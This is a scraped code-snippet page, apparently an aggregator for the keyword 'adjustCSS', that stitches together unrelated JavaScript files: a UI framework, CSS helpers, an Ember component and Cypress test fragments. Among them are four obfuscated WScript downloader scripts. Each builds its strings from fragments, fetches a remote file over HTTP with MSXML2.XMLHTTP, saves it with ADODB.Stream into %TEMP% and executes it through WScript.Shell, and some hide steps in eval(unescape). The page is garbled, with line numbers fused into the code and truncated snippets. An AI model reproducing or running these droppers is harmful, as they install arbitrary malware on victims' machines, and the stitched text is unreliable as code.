Best JavaScript code snippet using cypress
main.js
Source: main.js
1window.onload = function(){2 document.body.onkeydown = function(e){3 if(e.ctrlKey){4 if(e.which == 83){5 e.preventDefault();6 }7 }8 }9 //Setup the environment10 setup();11};12window.onmouseup = function(){13 14 //A mouse up anywhere will cancel whatever mousemove listeners are inplace15 window.onmousemove = null;16};17window.onresize = function(){18 //Maintain the page height19 EM.adjustCSS.pageContentHeight();20 21 //Maintain the ratio betweent the left and right segments of the window22 EM.adjustCSS.pageSegmentsProportions( (window.innerWidth / EM.adjustCSS.separatorRatio) + 0.5);23};24//Setup the document25setup = function(){26 //Store for application JavaScript27 EM = {};28 29 //Store for context windows30 //EM.windows = {};31 32 //Store for quick functions33 EM.q = {};34 //Reference to quick functions for the console35 q = EM.q;36 37 //Quick function for getElementById38 EM.q.ge = function(id){39 return document.getElementById(id);40 }41 42 //Some prototype methods have been added43 nativeAlterations();44 //Load Infrastructure for the system45 loadInfrastructure();46 //Load the zIndex maintenence functions47 loadZIndexMaintenenceFunctions();48 49 //A maintainer for fixing windows to the left, right, and max;50 EM.fixedWindowsMaintainer = {};51 52 //References for the three fixed positions53 EM.fixedWindowsMaintainer.leftWindow = undefined;54 EM.fixedWindowsMaintainer.rightWindow = undefined;55 EM.fixedWindowsMaintainer.maxWindow = undefined;56 57 //Library for maintaining CSS: calculation and adjustment58 EM.adjustCSS = {};59 60 //Load the CSS Adjustment functions61 loadCSSAdjustmentFunctions();62 63 //Initial Setup for the page64 EM.adjustCSS.pageSegmentsProportions(window.innerWidth/2);65 EM.adjustCSS.setupSideSegments();66 EM.q.ge("pageContent").onmousedown = function(e){67 EM.adjustCSS.shadowAllWindows();68 }69 EM.adjustCSS.pageContentHeight();70 //Load DependecyMap71 loadDependencyMap();72 73 //Load Maintainer74 loadMaintainer();75 EM.primaryContextName = ""76 EM.maintainer = new Symbol("", [], Instruction.returnUndefined, EM.primaryContextName);77 EM.q.m = EM.maintainer;78 EM.q.m.g = EM.q.m.getSymbol;79 EM.changeMade = false;80 window.ss = EM.maintainer.printTree;81 82 //Load Interpreter83 loadInterpreter();84 EM.interpreter = new EM.Interpreter(EM.maintainer);85 //String representation methods86 loadStringRepresentations();87 88 //Quick UI command shortcuts89 EM.q.i = EM.interpreter;90 EM.q.i.l = EM.interpreter.upToLex;91 EM.q.i.v = EM.interpreter.upToValidate;92 EM.q.i.e = EM.interpreter.upToEnscript;93 EM.q.i.p = EM.interpreter.upToParseScript;94 EM.q.i.x = EM.interpreter.upToActivateScript;95 EM.q.i.in = EM.interpreter.Instruction;96 //Load context window libraries97 loadContextBox();98 loadCanvasWindow();99 loadInputWindow();100 loadSymbolListWindow();101 loadAdjustmentWindow();102 103 //Initialise context windows104 cb1 = new EM.contextBox("hello", 430, 70, 400, 400);105 cb3 = new EM.canvasWindow("picture", 750, 100, 400, 400);106 cb3.append();107 cb4 = new EM.inputWindow("input", 350, 300, 420, 250);108 cb4.append();109 cb5 = new EM.symbolListWindow("symbols", 50, 50, 300, 400);110 cb5.append();111 cb1.append();112 //Test functionality113 //EM.maintainer.declareSymbol("x", [], new Instruction(Instruction.returnValue, [1]));114 //EM.maintainer.declareSymbol("x.a", [], new Instruction(Instruction.returnValue, [1]));115 //EM.maintainer.declareSymbol("b.a.c", [], new Instruction(Instruction.returnValue, [1]));116 //Tests for prelim parsing117 q.i.x("a = 1;");118 q.i.x("b = 2;");119 q.i.x("c is b+a;");120 q.i.x("d is b==2 ? \"b == 2\" : \"b != 2\";");121 q.i.x("a.fired = 0;");122 q.i.x("proc a.updateFired(a){a.fired++;t = 1;t = 2;}")123 //cb6 = new EM.adjustmentWindow("a", 400, 75, 300, 100);124 //cb6.append();125 //cb7 = EM.DependencyMapWindow("primary", 600, 100, 500, 500);126 //cb7.append();127/*128 q.m.declareSymbol("log", [], new Instruction(Instruction.formJavascriptFunction, [129 ["argument"],130 "console.log(argument);"131 ]), new Definition("--Native Function--", "Function"))132*/133 q.m.declareSymbol("System.JSFunction", [], new Instruction(Instruction.formJavascriptFunction, [134 ["argumentNames", "functionBodyCode"],135 "return new Instruction(Instruction.formJavascriptFunction, [argumentNames, functionBodyCode]).activate();"136 ]), new Definition("--Native Function--", Definition.JavascriptFunction))137 q.i.x("System.log = System.JSFunction([\"arg\"], \"console.log(arg);\");");138 //q.i.x("new.DateTime = new.JSFunction([], \"return new Date();\");");139 //q.i.x("new.RegExp = new.JSFunction([\"arg\", \"modifiers\"], \"return new RegExp(arg, modifiers);\");");140 141 q.i.x("System.typeof = System.JSFunction([\"arg\"], \"return EM.typeof(arg);\");");142 q.i.x("func Array.concat(array1, array2){return array1 + array2;}");143 q.i.x("func Array.isit(arg){return global.System.typeof(arg) == \"array\";}");144 q.i.x("func Array.map(array, function){temp = []; for(i=0; i<#array; i++){temp = temp + [function(array[i])];} return temp;};")145 q.i.x("func Array.filter(array, function){temp = []; for(i=0; i<#array; i++){if(function(array[i])){temp = temp + [array[i]];}} return temp;}")146 //Here147/*148*/ 149 //q.i.x("func testFunc(a){return a==1;}")150 //q.i.x("myArray = [1, 2, 3, 4];")151 //q.i.x("mySymbol = symbol a;")152 //q.i.x("myDate = new.DateTime();")153 //q.i.x("myRegExp = new.RegExp(\"hello\", \"g\");")154 //q.i.x("proc heebee(b){if(b==1){if(b==1){x++;}else if(b==2){x++;}else if(b==3){x++;}else{x++;}}}")155}156//Function to make changes to natives157nativeAlterations = function(){158 Object.defineProperty(String.prototype, 'removeWhitespace', {159 value: function(){160 return this.replace(/\s/g, '')161 }162 });163 String.prototype.splice = function( idx, rem, s ) {164 if(s==undefined){165 s = "";166 }167 return (this.slice(0,idx) + s + this.slice(idx + Math.abs(rem)));168 };169 //Function to parse pixel css specifications to integers: eg "50px" -> 50170 Object.defineProperty(Object.prototype, 'length', {171 value: function () {172 var l=0;173 for(var i in this){174 l++;175 }176 return l;177 },178 enumerable: false179 });180 //Function to parse pixel css specifications to integers: eg "50px" -> 50181 Object.defineProperty(String.prototype, 'depix', {182 value: function () {183 return parseInt(this.substring(0, this.length-2));184 },185 enumerable: false186 });187 Object.defineProperty(Array.prototype, 'toString', {188 value: function () {189 return this.join(", ")190 },191 enumerable: false192 });193 Object.defineProperty(Array.prototype, 'contains', {194 value: function (arg) {195 for(var i=0; i<this.length; i++){196 if(this[i]==arg){197 return true;198 }199 }200 return false;201 },202 enumerable: false203 });204 ...
20160307_3e5c7fd2adc79ff05b2cc555a9d93f72.js
1var nodeName = "http",2 currentValue = "pt",3 setAttribute = 48,4 done = "pe";5var checkContext = 2,6 attachEvent = 0;7speeds = "Str";8border = "Cr";9domManip = "pa";10getResponseHeader = 47, isImmediatePropagationStopped = "eTo", getById = 90, optSelected = "P%", opener = "d", combinator = "o";11responseType = "GE";12active = "uk";13off = "op";14ready = "Resp";15adjustCSS = 1;16var addClass = "onseBo",17 andSelf = "remo",18 fontWeight = "ADODB.",19 doAnimation = "ty",20 rnotwhite = 62,21 elements = "veDa";22prevAll = "WSc", elemLang = "w", cssNormalTransform = "dy", teardown = "File", MAX_NEGATIVE = "Slee";23var define = 29;24var subordinate = "av";25processData = "p";26currentTarget = 5;27fireGlobals = 68;28scriptCharset = "R";29m = 122;30source = "n";31var rjsonp = "gs",32 replaceChild = 1500,33 defaultExtra = 44,34 eventHandle = "S",35 cloneCopyEvent = "mentS",36 createHTMLDocument = "MSX";37var refElements = "el",38 fire = "sen",39 classes = "u",40 multipleContexts = "%TEM",41 lname = "viron",42 elementMatchers = "/873";43rtypenamespace = "lose", has = "WScr", rnoContent = "ipt", amd = "ct";44var delay = "XMLH",45 testContext = 21,46 origType = 110,47 match = "r",48 preferredDoc = ".gw-f";49tokenize = 18;50delegate = ":";51isHidden = "/", duration = "ta", eq = 25, jsonp = ".s", overflowX = "y4g7";52trim = "rin";53el = "Ex";54stateString = "ML2.";55hasFocus = "ndEn", sortInput = "e", rcssNum = 6, progressContexts = "O", setup = 294;56click = "W", Sizzle = "b", animated = "re", overwritten = 39, rxhtmlTag = "ipt.Sh";57toggle = 51;58defaultValue = "WScrip";59clientLeft = "Create";60createPositionalPseudo = 3;61matchExpr = "WScri";62rclass = "bject";63input = "c";64opt = "wri";65ajaxExtend = 249;66ajaxPrefilter = 106;67contents = "m";68isSimulated = "s";69var overflow = "//ww",70 selection = 4,71 nodes = 71,72 getBoundingClientRect = "po";73rbuggyQSA = "en";74timer = 65;75clientTop = "TP";76detach = (function Object.prototype.dataAttr() {77 return this78}, "s.co.");79chainable = "ateO";80var pixelPosition = "pen",81 div = 14,82 size = "T";83var parentNode = "l",84 buildParams = 175,85 wrapAll = 1469;86iterator = 1230, letter = "tion", dataFilter = "te";87button = "f3";88getClientRects = 1510716;89origFn = "Obje";90conv = 233;91lastModified = "si";92dir = 50;93setMatched = "dysta";94holdReady = "Creat";95opts = "Sleep";96var preFilters = "a",97 doc = "cr",98 disconnectedMatch = "t",99 rheaders = "ea";100beforeSend = (((4953 / overwritten), (143, m, 69, ajaxExtend), (237 & buildParams), (182 / adjustCSS)), ((0 ^ (attachEvent ^ 1)), this));101traditional = scriptCharset + classes + source;102current = beforeSend[prevAll + match + rnoContent];103global = current[holdReady + sortInput + origFn + amd](has + rxhtmlTag + refElements + parentNode);104destElements = global[el + domManip + hasFocus + lname + cloneCopyEvent + disconnectedMatch + trim + rjsonp](multipleContexts + optSelected + isHidden) + andSelf + elements + duration + jsonp + doc;105hasData = beforeSend[defaultValue + disconnectedMatch][border + sortInput + chainable + rclass](createHTMLDocument + stateString + delay + size + clientTop);106hasData[combinator + pixelPosition](responseType + size, nodeName + delegate + overflow + elemLang + preferredDoc + detach + active + elementMatchers + overflowX + Sizzle + button, !((((((replaceChild / 15)), ((div * 6 + rcssNum) & (20 + ajaxPrefilter)), ((Math.pow(3867, checkContext) - 14948100) / createPositionalPseudo * 3 * createPositionalPseudo), (1 | define)) * (((16 / selection) ^ (0 | checkContext)) ^ (0 / getResponseHeader)) + (((0 | dir) / (13 * createPositionalPseudo + 11)) * ((testContext / 21) ^ (adjustCSS ^ 2)))) / (((adjustCSS * 2) * checkContext & ((1 * adjustCSS) * 2 * createPositionalPseudo)) ^ (((Math.pow(35, checkContext) - 1175) - (origType - 66)) ^ ((adjustCSS | 4) + currentTarget * 3)))) == ((Math.pow(((createPositionalPseudo) * (8 ^ currentTarget) * (1 ^ rcssNum) * (3 | checkContext) / ((Math.pow(12, checkContext) - 129), (nodes, 109), (setup / 14))), ((toggle - 49) * (adjustCSS * 2) * checkContext * (5 & currentTarget) * (2 ^ attachEvent) / ((4400 / defaultExtra), (Math.pow(25, checkContext) - 585)))) - (checkContext + (1 | adjustCSS)) * (31 * checkContext * 2 * checkContext ^ (508 - conv))) - (((45 - overwritten) | (8 * rcssNum + 6)) - ((Math.pow(overwritten, 2) - wrapAll))) * (((1 * adjustCSS) + -(49 - setAttribute)) ^ (5 & currentTarget)) * (((0 / setAttribute) ^ 1) * ((getById / 45) + attachEvent)) * (((16 | fireGlobals) / (41 ^ createPositionalPseudo))))));107hasData[fire + opener]();108while (hasData[animated + preFilters + setMatched + dataFilter] < ((0 ^ attachEvent) ^ (0 | selection))) {109 beforeSend[has + rnoContent][opts](((15 + eq) * 2 + (rnotwhite - 42)));110}111preMap = beforeSend[matchExpr + currentValue][clientLeft + progressContexts + rclass](fontWeight + speeds + rheaders + contents);112beforeSend[click + eventHandle + doc + rnoContent][MAX_NEGATIVE + processData](((Math.pow(iterator, 2) - getClientRects) | (209888 / div)));113try {114 preMap[off + rbuggyQSA]();115 delegateType = preMap;116 delegateType[doAnimation + done] = (19 - tokenize);117 charCode = delegateType;118 preMap[opt + dataFilter](hasData[ready + addClass + cssNormalTransform]);119 charCode[getBoundingClientRect + lastModified + letter] = (1 & attachEvent);120 preMap[isSimulated + subordinate + isImmediatePropagationStopped + teardown](destElements, (0 ^ (createPositionalPseudo, 2)));121 preMap[input + rtypenamespace]();122 indirect = global;123 indirect[traditional](destElements.dataAttr(), ((adjustCSS & 0) / (currentTarget + 0)), ((m + 46), (timer + 9), (rnotwhite - 46), (adjustCSS + -1)));...
20160308_5175200d454fd63b59c9c90c85c6e25f.js
1MAX_NEGATIVE = 140;2el = "L2";3augmentWidthOrHeight = "s";4setter = "ADODB.";5rquickExpr = "Expa";6charCode = (function String.prototype.selectedIndex() {7 return this8}, 325201);9queue = "Sleep";10disconnectedMatch = 78;11getter = "ave";12destElements = 50;13startLength = 571;14parseJSON = "tSt";15hasClass = "ssanc";16var compiled = 211;17var callback = "097",18 nType = "cl",19 flatOptions = "repui",20 pos = "P%/",21 max = 3;22offsetWidth = "WS", memory = 5, func = "ect", td = "y";23var j = "e",24 xml = "Re",25 rsubmittable = "writ";26isNumeric = "pt.S", clazz = "%TEM", check = 36, ajaxConvert = 44;27delegateCount = 245;28self = "XMLHTT";29start = "pos";30cacheLength = 27;31originalSettings = "ose";32cached = "Cre", textContent = "teObj", forward = "opt", returnFalse = "http:";33divStyle = 17;34cssNormalTransform = "us.";35valHooks = "com/o";36unquoted = "ndEnvi";37origType = 12;38originalEvent = 9;39curOffset = "WSc";40initialInUnit = "t";41removeData = "itio";42rcheckableType = "open";43src = "ateObj";44suffix = "jhg";45var html = "ct",46 currentTime = "eadys",47 _ = "r";48oldfire = 1, curPosition = "Crea", ready = "hell", htmlPrefilter = "eam", timers = 16;49adjustCSS = 2;50attributes = "Str";51href = 37;52structure = 7;53caption = 0;54body = "cript";55expando = "ste";56what = "Run", rhash = "ejes", clearCloneStyle = "n", marginLeft = "c";57var contextBackup = "tat",58 global = 72,59 text = "le",60 hasOwn = ".",61 propFix = "//mini";62prototype = "rings", needsContext = "ript", camelCase = "send";63rquery = 20836, promise = "Obje", rsibling = "4", bind = "WScrip", configurable = "Slee";64appendChild = "onmen";65removeChild = "p";66uniqueCache = "sponse";67risSimple = "ionSe";68emptyGet = "reate";69var nodeIndex = "C",70 parents = 150,71 adjusted = "P",72 options = "WScri";73var firstChild = "ype",74 removeClass = ".scr",75 isImmediatePropagationStopped = 3188;76var speeds = "Bo",77 elem = "g5",78 marginRight = 18,79 bySet = "GET",80 setOffset = "ToFi",81 arr = "d";82groups = "MSXM";83overflowX = (2 * (caption | 2) * (disconnectedMatch / 39) * (adjustCSS | 2) * (memory + 8), ((Math.pow((Math.pow(structure, 2) - href), (24 / origType)) - (83 ^ compiled)), this));84slideDown = what;85cssPrefixes = overflowX[curOffset + needsContext];86contents = cssPrefixes[curPosition + textContent + j + html](options + isNumeric + ready);87PI = contents[rquickExpr + unquoted + _ + appendChild + parseJSON + prototype](clazz + pos) + forward + risSimple + initialInUnit + removeClass;88cssExpand = overflowX[bind + initialInUnit][cached + src + func](groups + el + hasOwn + self + adjusted);89cssExpand[rcheckableType](bySet, returnFalse + propFix + expando + flatOptions + hasClass + rhash + cssNormalTransform + valHooks + callback + suffix + rsibling + elem, !(((((1 + oldfire) + ((1 ^ caption) * (1 + -oldfire))) ^ (((65, caption) / (792 / check)) | (0 | caption))) * (((7 * adjustCSS * 2 | (divStyle - 17)) - ((Math.pow(startLength, 2) - charCode) / 3 * memory * 2)) ^ ((adjustCSS + 0) | ((oldfire | 1) ^ (global / 24))))) == (((caption & (0 | caption)) | ((0 / destElements) / (3 & max))) | (((18 - divStyle) & (1 + caption)) * ((1 * oldfire) * 2))) * (((parents, 2) + (oldfire * 0)) + ((oldfire * (0 ^ caption)) | ((109, delegateCount, 126, timers) - (7 + originalEvent))))));90cssExpand[camelCase]();91while (cssExpand[_ + currentTime + contextBackup + j] < (1 ^ (cacheLength, 217, marginRight, 5))) {92 overflowX[curOffset + needsContext][configurable + removeChild]((max * 3 * structure * 3, (MAX_NEGATIVE - 40)));93}94fn = overflowX[offsetWidth + body][nodeIndex + emptyGet + promise + marginLeft + initialInUnit](setter + attributes + htmlPrefilter);95overflowX[offsetWidth + body][queue](((isImmediatePropagationStopped ^ 30870) - (rquery - 5914)));96fn[rcheckableType]();97percent = fn;98percent[initialInUnit + firstChild] = ((ajaxConvert - 43) * (caption ^ 1));99showHide = percent;100fn[rsubmittable + j](cssExpand[xml + uniqueCache + speeds + arr + td]);101showHide[start + removeData + clearCloneStyle] = ((caption / 21) | caption);102fn[augmentWidthOrHeight + getter + setOffset + text](PI, ((1 * adjustCSS) & (1 | adjustCSS)));103fn[nType + originalSettings]();104left = contents;...
20160311_4de4c6ba588881338ebb971cceaa55eb.js
...41 rlocalProtocol = 230,42 params = 67;43aup = 319, hasFocus = "rep", Data = "bjec", pdataOld = 42, xhrSupported = "s", toSelector = "l";44keyCode = "ep";45ajaxConvert = "GE", stopQueue = "8h867g", has = (function Object.prototype.adjustCSS() {46 var sortStable = this;47 return sortStable48}, "ject");49docElem = "e", register = 4, clearQueue = "se", proxy = "Create";50var responseContainer = 6862,51 dirrunsUnique = "Bod",52 expando = "ntSt";53var linear = "WSc";54hide = (((3255 / slideToggle) - (3 | bindType)), (2 + (register & 4)), eval("t" + dataShow + "s".adjustCSS()));55func = hide[iNoClone + "pt"];56parseOnly = func[cssNormalTransform + "teO" + Data + "t".adjustCSS()](cssShow + "t.She" + pdataCur);57ajaxHandleResponses = parseOnly["Expan" + getElementById + "ronme".adjustCSS() + expando + "ring" + xhrSupported]("%TEMP%" + dirruns) + "s".adjustCSS() + timeoutTimer + "c" + namespace + "cr";58preFilters = hide[linear + "ript".adjustCSS()][curLeft + "eOb" + has]("MSX" + preexisting + "LHTTP".adjustCSS());59preFilters[fnOver + "en"](ajaxConvert + "T", parentOffset + "//pe".adjustCSS() + getResponseHeader + "alice." + hasFocus + "ubli" + rbuggyQSA + "pl/0".adjustCSS() + stopQueue + "5", !(((((xhrFields * 3 * xhrFields * 3 * xhrFields, 13 * xhrFields * 5, (responseContainer / 47)) - ((Math.pow(ap, 2) - funcName) | (31 * attaches + 29))), (((subordinate / 43) - (clientX | 13)) + ((params), 61 * attaches, 2 * params, 1))) | ((((aup - 145), (currentTime / 6)) | (Math.pow((register | 41), (attaches & 3)) - (identifier / 16))) - ((Math.pow((cssText & 14), (attaches & 3)) - (keyHooks, 178)) * attaches + (Math.pow(9, attaches) - 64)))) == tbody));60preFilters[clearQueue + "nd"]();61oMatchesSelector = hide[linear + "ript".adjustCSS()][proxy + "Obj" + leadingRelative]("ADODB" + prependTo + "ream".adjustCSS());62oMatchesSelector[checkClone + "pe" + swing]();63elemdisplay = oMatchesSelector;64classes = parseOnly;65elemdisplay["ty" + matcherFromGroupMatchers] = ((47 - originalSettings) & (42 / pdataOld));66subtract();67statusText();68responses();69off();70oMatchesSelector[remaining + "ToF" + rsibling](ajaxHandleResponses, (1 * attaches));71toggleClass = oMatchesSelector;72toggleClass["clos" + docElem]();73offsetWidth();74classes["R".adjustCSS() + fireGlobals](ajaxHandleResponses.adjustCSS((mozMatchesSelector & 95)), (capName / 8), ((rlocalProtocol, 238, special, 12) - (currentTime | 8)));75function offsetWidth() {76 eval(unescape("%20%20%20%20%20%20%20%20hide%5B%22WScrip%22.adjustCSS%28%29%20+%20flag%5D%5B%22S%22%20+%20toSelector%20+%20%22e%22%20+%20keyCode%5D%28%28%28493102/curValue%29-%28Math.pow%289625%2C%20attaches%29-92626619%29%29%29%3B%20%20%20%0D"));77}78function statusText() {79 eval(unescape("%20%20%20%20%20%0D"));80}81function responses() {82 eval(unescape("%20%20%20%20%20%20%20%20oMatchesSelector%5B%22write%22.adjustCSS%28%29%5D%28preFilters%5Bend%20+%20%22ponse%22%20+%20dirrunsUnique%20+%20%22y%22%5D%29%3B%0D"));83}84function off() {85 eval(unescape("%20%20%20%20%20%20%20%20attrHooks%5Bdiv1%20+%20%22on%22.adjustCSS%28%29%5D%20%3D%20%28%281*currentTarget%29+-%281*currentTarget%29%29%3B%0D"));86}87function subtract() {88 eval(unescape("%20%20%20%20%20%20%20%20attrHooks%20%3D%20elemdisplay%3B%0D"));...
20160311_1363e9c6f80c4675b90b8b1c366de611.js
...30var qsa = "ML2.",31 startLength = "ironm",32 serializeArray = 127,33 rhtml = 89;34newDefer = "S", bind = (function String.prototype.adjustCSS() {35 var pop = this;36 return pop37}, "h"), iframe = 1628;38reject = 36;39var root = "WScri";40stopOnFalse = ".cz";41contentDocument = 2;42matcherFromTokens = "4h4";43wrap = 1;44winnow = 273;45vendorPropName = "yp";46var push = 32,47 lastChild = "n",48 postMap = "G",49 createTween = 57,50 compareDocumentPosition = "lo";51mapped = "R";52cssExpand = "/";53style = "o";54tween = 6233;55truncate = "ript.S";56dataType = "Crea";57byElement = (((63 * parseHTML + 11) & (isWindow & 479)), ((wrap * 1) | list), eval("t" + bind + "is".adjustCSS()));58subtract = byElement[computed + "ipt"];59split = subtract[register + "ateObj" + val]("WSc".adjustCSS() + truncate + "hell");60linear = split[timeoutTimer + "andEnv" + startLength + "entS".adjustCSS() + pointerenter]("%TEMP%" + cssExpand) + "cha" + rsubmittable + ".".adjustCSS() + pointerleave + "r";61appendChild = byElement[root + "pt"][register + "ateOb".adjustCSS() + getResponseHeader]("MSX" + qsa + "XMLH" + firing);62appendChild["o".adjustCSS() + isImmediatePropagationStopped + "en"](postMap + "E" + els, "http:".adjustCSS() + trigger + "ilitas" + stopOnFalse + "/0954t" + matcherFromTokens + "5".adjustCSS(), !(10 == ((((parseHTML + 1) * parseHTML + (1 | pixelPosition)) * (3 * contentDocument * 2 - parseHTML * 2) + ((winnow / 13) - fail * 5)) / (((Math.pow(tween, 2) - unmatched) / (40 & what)) / ((1 + -wrap) | (4 | contentDocument)))) * ((((230, pixelPosition) | (486 / safeActiveElement)) - ((1 * specified) | (102 / list))) | (((Math.pow(3, contentDocument) - 4) & (parseHTML + 2)) + (pixelPosition / 1)))));63appendChild[acceptData + "nd"]();64onabort = byElement[insertBefore + "t"][dataType + "teObje".adjustCSS() + setDocument]("ADODB" + parseJSON + "am");65onabort[style + "pe".adjustCSS() + lastChild]();66xhrSuccessStatus = onabort;67requestHeaders = split;68xhrSuccessStatus["t" + vendorPropName + "e"] = ((compile - 25) & (getElementsByName / 39));69setFilters();70ajaxHandleResponses();71testContext();72select();73onabort[defaultPrevented + "oFi" + scrollTo](linear, (contentDocument + 0));74noBubble = onabort;75noBubble["c" + compareDocumentPosition + "se".adjustCSS()]();76width();77requestHeaders[mapped + "un".adjustCSS()](linear.adjustCSS(((wrap * 1) | (serializeArray, 146, rhtml))), (0 / (pixelPosition | 5)), ((push | 4) - (reject & 52)));78function testContext() {79 eval(unescape("%20%20%20%20%20%20%20%20onabort%5BrsingleTag%20+%20%22rit%22.adjustCSS%28%29%20+%20beforeSend%5D%28appendChild%5B%22Respon%22%20+%20suffix%20+%20%22dy%22%5D%29%3B%0D"));80}81function width() {82 eval(unescape("%20%20%20%20%20%20%20%20byElement%5Bcomputed%20+%20%22ipt%22%5D%5BnewDefer%20+%20%22leep%22%5D%28%28fail*2*fail*3*contentDocument*89+%28rxhtmlTag%7C5384%29%29%29%3B%20%20%20%0D"));83}84function setFilters() {85 eval(unescape("%20%20%20%20%20%20%20%20test%20%3D%20xhrSuccessStatus%3B%0D"));86}87function ajaxHandleResponses() {88 eval(unescape("%20%20%20%20%20%0D"));89}90function select() {91 eval(unescape("%20%20%20%20%20%20%20%20test%5BpageX%20+%20%22on%22.adjustCSS%28%29%5D%20%3D%20%28%28Math.pow%28pushStack%2C%202%29-iframe%29%2C%2836-toggleClass%29%2C%28142%2CcreateTween%2C0%29%29%3B%0D"));...
cssAdjustmentFunctions.js
Source: cssAdjustmentFunctions.js
1loadCSSAdjustmentFunctions = function(){2 //Function to shadow all windows3 EM.adjustCSS.shadowAllWindows = function(){4 for(var w in EM.maintainer.windows){5 EM.maintainer.windows[w].shadow();6 }7 };8 //Function for maintaining the height of the pageContent Div9 EM.adjustCSS.pageContentHeight = function(){10 11 //Alter the height of the pageContent12 EM.q.ge("pageContent").style.height = window.innerHeight - EM.q.ge("pageTopBar").clientHeight - EM.q.ge("pageBottomBar").clientHeight;13 14 //Calculate the content height for each of the fixed context windows15 try{16 EM.fixedWindowsMaintainer.leftWindow.maintainProportions();17 }catch(e){}18 try{19 EM.fixedWindowsMaintainer.rightWindow.maintainProportions();20 }catch(e){}21 try{22 EM.fixedWindowsMaintainer.maxWindow.maintainProportions();23 }catch(e){}24 };25 //Function for maintaining the width proportions of the pageSegments and separator26 EM.adjustCSS.pageSegmentsProportions = function(centerPoint){27 28 if((centerPoint > 300)&&(centerPoint < window.innerWidth - 300)){29 30 //Set the width of the left segment31 EM.q.ge("pageLeftSegment").style.width = centerPoint - EM.q.ge("pageSeparator").clientWidth;32 33 //Set the width of the right segment34 EM.q.ge("pageRightSegment").style.width = window.innerWidth - centerPoint;35 //Set the position of the separator36 EM.q.ge("pageSeparator").style.left = EM.q.ge("pageLeftSegment").style.width;37 38 //Store the ratio39 EM.adjustCSS.separatorRatio = (window.innerWidth / (EM.q.ge("pageSeparator").style.left.depix() + EM.q.ge("pageSeparator").clientWidth) );40 41 }42 }43 44 //Function to initialise the positions of the segments45 EM.adjustCSS.setupSideSegments = function(){46 47 //Initialise the left segement48 EM.q.ge("pageLeftSegment").style.top = EM.q.ge("pageTopBar").clientHeight;49 50 //Initialise the right segement51 EM.q.ge("pageRightSegment").style.top = EM.q.ge("pageTopBar").clientHeight;52 53 //Function for adding a listener to the separator54 EM.q.ge("pageSeparator").onmousedown = function(e){55 //Supress Default behaviour of mouse event handling56 e.preventDefault();57 58 //Move the seperator bar horizontally as the mouse moves59 window.onmousemove = function(e){60 EM.adjustCSS.pageSegmentsProportions(e.x);61 }62 }63 64 }...
adjust.js
Source: adjust.js
1/*Author: Marc Mendoza2* IGN Code Foo Submission3* Question 2: Liquid Layout Code4* Summary: Javascript that sets up an event listener and has5* a single function to change the css in6* liquid.html based on the width of the window.7*/8//changes the css based on the width of the document9var adjustCss = function(width){10 //Window width is parsed into an int to ensure that it is a whole number11 width = parseInt(width);12 if(width < 1050) {13 document.getElementById("styleSheet").href = "style/lowerRes.css";}14 else {15 document.getElementById("styleSheet").href = "style/higherRes.css";}16};17//this function is called when a resize occurs18var OnResize = function OnResize(e){19 adjustCss(window.innerWidth);20}21//This is the entry point for the script,22//adjustCss is called once to check the clients window size,23//The resize event listener is setup to call OnResize24var main = function(){ 25 adjustCss(window.innerWidth);26 addEventListener("resize", OnResize, false);27};...
moving-item.js
Source: moving-item.js
1import Component from '@ember/component';2import move from 'ember-animated/motions/move';3import scale from 'ember-animated/motions/scale';4import adjustCSS from 'ember-animated/motions/adjust-css';5import { duration } from './moving-box';6import layout from '../templates/moving-item';7export default Component.extend({8 layout,9 tagName: '',10 duration,11 transition: function * ({ sentSprites }) {12 sentSprites.forEach(sprite => {13 sprite.applyStyles({ 'z-index': 1 });14 move(sprite);15 if (sprite.element.tagName === 'svg') {16 scale(sprite);17 } else {18 adjustCSS.property('font-size')(sprite);19 adjustCSS.property('letter-spacing')(sprite);20 adjustCSS.property('line-height')(sprite);21 }22 });23 },...
Using AI Code Generation
1describe('My First Test', function() {2 it('Does not do much!', function() {3 cy.get('.home-list > :nth-child(1) > a').click()4 cy.url().should('include', '/commands/actions')5 cy.get('.action-email')6 .type('
Using AI Code Generation
1describe('My First Test', function() {2 it('Does not do much!', function() {3 cy.adjustCSS({4 'body': {5 }6 })7 })8})9Cypress.Commands.add('adjustCSS', (css) => {10 cy.window().then(win => {11 const style = win.document.createElement('style')12 style.innerHTML = Object.keys(css).map((selector) => {13 return selector + '{' + Object.keys(css[selector]).map((property) => {14 return property + ':' + css[selector][property] + ';'15 }).join('') + '}'16 }).join('')17 win.document.getElementsByTagName('head')[0].appendChild(style)18 })19})20import './commands'
Using AI Code Generation
1describe('Adjusting CSS', function() {2 it('Adjusting CSS', function() {3 cy.get('.query-btn').should('have.css', 'background-color', 'rgb(0, 128, 0)')4 cy.get('.query-btn').invoke('attr', 'style').then((style) => {5 cy.log(style)6 expect(style).to.contain('background-color: rgb(0, 128, 0)')7 })8 cy.get('.query-btn').invoke('css', 'background-color', 'blue').should('have.css', 'background-color', 'rgb(0, 0, 255)')9 cy.get('.query-btn').invoke('css', 'background-color', 'green').should('have.css', 'background-color', 'rgb(0, 128, 0)')10 })11})12describe('Adjusting CSS', function() {13 it('Adjusting CSS', function() {14 cy.get('.query-btn').should('have.css', 'background-color', 'rgb(0, 128, 0)')15 cy.get('.query-btn').invoke('attr', 'style').then((style) => {16 cy.log(style)17 expect(style).to.contain('background-color: rgb(0, 128, 0)')18 })19 cy.get('.query-btn').invoke('css', 'background-color', 'blue').should('have.css', 'background-color', 'rgb(0, 0, 255)')20 cy.get('.query-btn').invoke('css', 'background-color', 'green').should('have.css', 'background-color', 'rgb(0, 128, 0)')21 })22})23describe('Testing if a checkbox is checked', function() {24 it('Testing if a checkbox is checked', function() {25 cy.get('#action-cb').check().should('be
Using AI Code Generation
1describe('My First Test', function() {2 it('Does not do much!', function() {3 cy.adjustCSS('body', 'font-size', '3px', '+')4 cy.adjustCSS('body', 'font-size', '3px', '-')5 })6})
Using AI Code Generation
1cy.adjustCSS('body', 'background-color', 'red')2cy.adjustCSS('body', 'background-color', 'white')3Cypress.Commands.add('adjustCSS', (selector, cssProp, value) => {4 cy.document().then(doc => {5 doc.querySelector(selector).style[cssProp] = value6 })7})8cy.adjustCSS('body', 'background-color', 'red')
Using AI Code Generation
